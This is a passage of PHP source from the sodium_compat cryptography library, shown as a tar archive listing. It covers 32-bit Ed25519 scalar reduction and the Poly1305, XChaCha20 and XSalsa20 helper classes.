        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s10->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0  =  $s0->toInt();
        $S1  =  $s1->toInt();
        $S2  =  $s2->toInt();
        $S3  =  $s3->toInt();
        $S4  =  $s4->toInt();
        $S5  =  $s5->toInt();
        $S6  =  $s6->toInt();
        $S7  =  $s7->toInt();
        $S8  =  $s8->toInt();
        $S9  =  $s9->toInt();
        $S10 = $s10->toInt();
        $S11 = $s11->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($S0 >> 0)),
            (int) (0xff & ($S0 >> 8)),
            (int) (0xff & (($S0 >> 16) | ($S1 << 5))),
            (int) (0xff & ($S1 >> 3)),
            (int) (0xff & ($S1 >> 11)),
            (int) (0xff & (($S1 >> 19) | ($S2 << 2))),
            (int) (0xff & ($S2 >> 6)),
            (int) (0xff & (($S2 >> 14) | ($S3 << 7))),
            (int) (0xff & ($S3 >> 1)),
            (int) (0xff & ($S3 >> 9)),
            (int) (0xff & (($S3 >> 17) | ($S4 << 4))),
            (int) (0xff & ($S4 >> 4)),
            (int) (0xff & ($S4 >> 12)),
            (int) (0xff & (($S4 >> 20) | ($S5 << 1))),
            (int) (0xff & ($S5 >> 7)),
            (int) (0xff & (($S5 >> 15) | ($S6 << 6))),
            (int) (0xff & ($S6 >> 2)),
            (int) (0xff & ($S6 >> 10)),
            (int) (0xff & (($S6 >> 18) | ($S7 << 3))),
            (int) (0xff & ($S7 >> 5)),
            (int) (0xff & ($S7 >> 13)),
            (int) (0xff & ($S8 >> 0)),
            (int) (0xff & ($S8 >> 8)),
            (int) (0xff & (($S8 >> 16) | ($S9 << 5))),
            (int) (0xff & ($S9 >> 3)),
            (int) (0xff & ($S9 >> 11)),
            (int) (0xff & (($S9 >> 19) | ($S10 << 2))),
            (int) (0xff & ($S10 >> 6)),
            (int) (0xff & (($S10 >> 14) | ($S11 << 7))),
            (int) (0xff & ($S11 >> 1)),
            (int) (0xff & ($S11 >> 9)),
            (int) (0xff & ($S11 >> 17))
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */
        $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3)));
        $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5));
        $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2));
        $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7));
        $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4));
        $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1));
        $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6));
        $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3));
        $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3)));
        $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5));
        $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2));
        $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7));
        $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4));
        $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1));
        $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6));
        $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3));
        $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3)));
        $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5));
        $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2));
        $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7));
        $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4));
        $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1));
        $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6));
        $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0 = $s0->toInt32()->toInt();
        $S1 = $s1->toInt32()->toInt();
        $S2 = $s2->toInt32()->toInt();
        $S3 = $s3->toInt32()->toInt();
        $S4 = $s4->toInt32()->toInt();
        $S5 = $s5->toInt32()->toInt();
        $S6 = $s6->toInt32()->toInt();
        $S7 = $s7->toInt32()->toInt();
        $S8 = $s8->toInt32()->toInt();
        $S9 = $s9->toInt32()->toInt();
        $S10 = $s10->toInt32()->toInt();
        $S11 = $s11->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($S0 >> 0),
            (int) ($S0 >> 8),
            (int) (($S0 >> 16) | ($S1 << 5)),
            (int) ($S1 >> 3),
            (int) ($S1 >> 11),
            (int) (($S1 >> 19) | ($S2 << 2)),
            (int) ($S2 >> 6),
            (int) (($S2 >> 14) | ($S3 << 7)),
            (int) ($S3 >> 1),
            (int) ($S3 >> 9),
            (int) (($S3 >> 17) | ($S4 << 4)),
            (int) ($S4 >> 4),
            (int) ($S4 >> 12),
            (int) (($S4 >> 20) | ($S5 << 1)),
            (int) ($S5 >> 7),
            (int) (($S5 >> 15) | ($S6 << 6)),
            (int) ($S6 >> 2),
            (int) ($S6 >> 10),
            (int) (($S6 >> 18) | ($S7 << 3)),
            (int) ($S7 >> 5),
            (int) ($S7 >> 13),
            (int) ($S8 >> 0),
            (int) ($S8 >> 8),
            (int) (($S8 >> 16) | ($S9 << 5)),
            (int) ($S9 >> 3),
            (int) ($S9 >> 11),
            (int) (($S9 >> 19) | ($S10 << 2)),
            (int) ($S10 >> 6),
            (int) (($S10 >> 14) | ($S11 << 7)),
            (int) ($S11 >> 1),
            (int) ($S11 >> 9),
            (int) $S11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }
        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
Core32/Poly1305.php000064400000003062152222652550007555 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305
 */
abstract class ParagonIE_Sodium_Core32_Poly1305 extends ParagonIE_Sodium_Core32_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
Core32/XChaCha20.php000064400000004626152222652550007731 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XChaCha20
 */
class ParagonIE_Sodium_Core32_XChaCha20 extends ParagonIE_Sodium_Core32_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
Core32/Util.php000064400000000321152222652550007231 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core32_Util extends ParagonIE_Sodium_Core_Util
{

}
Core32/XSalsa20.php000064400000002543152222652550007661 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
Crypto32.php000064400000153517152222652550006724 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Crypto32', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
